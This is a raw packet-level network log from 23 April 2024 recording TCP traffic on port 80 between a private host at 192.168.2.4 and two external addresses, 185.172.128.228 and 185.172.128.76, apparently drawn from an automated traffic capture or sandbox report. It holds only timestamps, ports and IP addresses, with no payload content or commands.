Apr 23, 2024 09:38:10.443100929 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.443135977 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.443166971 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.443170071 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.443205118 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.443240881 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.443248987 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.443248987 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.443275928 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.443310976 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.443346024 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.443381071 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.443387032 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.443387032 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.443417072 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.443451881 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.443486929 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.443521023 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.443526030 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.443526030 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.443556070 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.443589926 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.443624973 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.443639040 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.443660021 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.443696976 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.443731070 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.443764925 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.443773031 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.443773031 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.443799973 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.443823099 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.443835974 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.443871021 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.443905115 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.443942070 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.443948030 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.443948030 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.443977118 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.444011927 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.444046974 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.444082022 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.444087029 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.444087029 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.444138050 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.444173098 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.444207907 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.444242954 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.444252968 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.444252968 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.444278955 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.444315910 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.444350958 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.444385052 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.444392920 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.444394112 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.444421053 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.444456100 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.444490910 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.444526911 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.444536924 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.444536924 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.444561958 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.444596052 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.444631100 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.444664955 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.444672108 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.444672108 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.444700956 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.444736004 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.444771051 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.444804907 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.444812059 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.444812059 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.444842100 CEST	80	49735	185.172.128.228	192.168.2.4
Apr 23, 2024 09:38:10.444994926 CEST	49735	80	192.168.2.4	185.172.128.228
Apr 23, 2024 09:38:10.463413954 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.463454962 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.463485956 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.463491917 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.463526011 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.463529110 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.463536978 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.463576078 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.463588953 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.463625908 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.463634014 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.463660955 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.463675022 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.463697910 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.463707924 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.463733912 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.463743925 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.463769913 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.463778019 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.463808060 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.463814974 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.463850021 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.463859081 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.463886023 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.463900089 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.463923931 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.463932991 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.463960886 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.463972092 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.463998079 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.464009047 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.464037895 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.464051008 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.464073896 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.464086056 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.464123964 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.464129925 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.464165926 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.464173079 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.464202881 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.464209080 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.464241982 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.464277029 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.464281082 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.464299917 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.464313030 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.464318037 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.464349031 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.464384079 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.464387894 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.464406013 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.464418888 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.464453936 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.464454889 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.464464903 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.464490891 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.464498997 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.464528084 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.464536905 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.464580059 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.466130018 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.466169119 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.466192961 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.466223001 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.466242075 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.466279030 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.466288090 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.466344118 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.466382027 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.466397047 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.466423035 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.466427088 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.466497898 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.466521978 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.466536045 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.466555119 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.466573954 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.466581106 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.466618061 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.466655016 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.466691971 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.466706038 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.466727972 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.466773033 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.466809034 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.466845036 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.466855049 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.466881037 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.466886044 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.466948032 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.466984034 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.466995001 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.467020988 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.467081070 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.467093945 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.467119932 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.467154980 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.467166901 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.467200994 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.467231989 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.467267990 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.467274904 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.467303991 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.467309952 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.467350006 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.467386961 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.467423916 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.467431068 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.467459917 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.467479944 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.467503071 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.467526913 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.467564106 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.467571020 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.467600107 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.467607021 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.467660904 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.467679024 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.467715979 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.467724085 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.467755079 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.467761993 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.467809916 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.467823029 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.467861891 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.467865944 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.467901945 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.467902899 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.467943907 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.467962027 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.467998981 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.468012094 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.468041897 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.468082905 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.468130112 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.468142986 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.468183994 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.468189001 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.468226910 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.468249083 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.468287945 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.468295097 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.468323946 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.468328953 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.468375921 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.468396902 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.468436003 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.468463898 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.468472004 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.468485117 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.468535900 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.468573093 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.468579054 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.468609095 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.468640089 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.468663931 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.468689919 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.468727112 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.468772888 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.468843937 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.468882084 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.468889952 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.468921900 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.469003916 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.469048977 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.469551086 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.469602108 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.469878912 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.469933033 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.470047951 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.470099926 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.470230103 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.470276117 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.470359087 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.470396996 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.470405102 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.470441103 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.470714092 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.470751047 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.470760107 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.470792055 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.470880985 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.470932961 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.471035004 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.471052885 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.471069098 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.471071959 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.471090078 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.471113920 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.471163988 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.471182108 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.471198082 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.471215010 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.471224070 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.471231937 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.471250057 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.471257925 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.471266985 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.471276999 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.471282959 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.471301079 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.471302986 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.471318007 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.471333027 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.471339941 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.471349955 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.471364975 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.471366882 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.471380949 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.471393108 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.471396923 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.471407890 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.471414089 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.471430063 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.471436024 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.471446037 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.471461058 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.471462011 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.471478939 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.471487999 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.471496105 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.471512079 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.471518993 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.471530914 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.471545935 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.471548080 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.471565008 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.471574068 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.471585035 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.471596003 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.471601009 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.471616983 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.471621037 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.471633911 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.471645117 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.471657991 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.471668959 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.471674919 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.471689939 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.471692085 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.471707106 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.471715927 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.471723080 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.471730947 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.471740961 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.471749067 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.471756935 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.471760035 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.471772909 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.471790075 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.471796036 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.471796036 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.471806049 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.471812963 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.471824884 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:10.471824884 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:10.471841097 CEST	49733	80	192.168.2.4	185.172.128.76
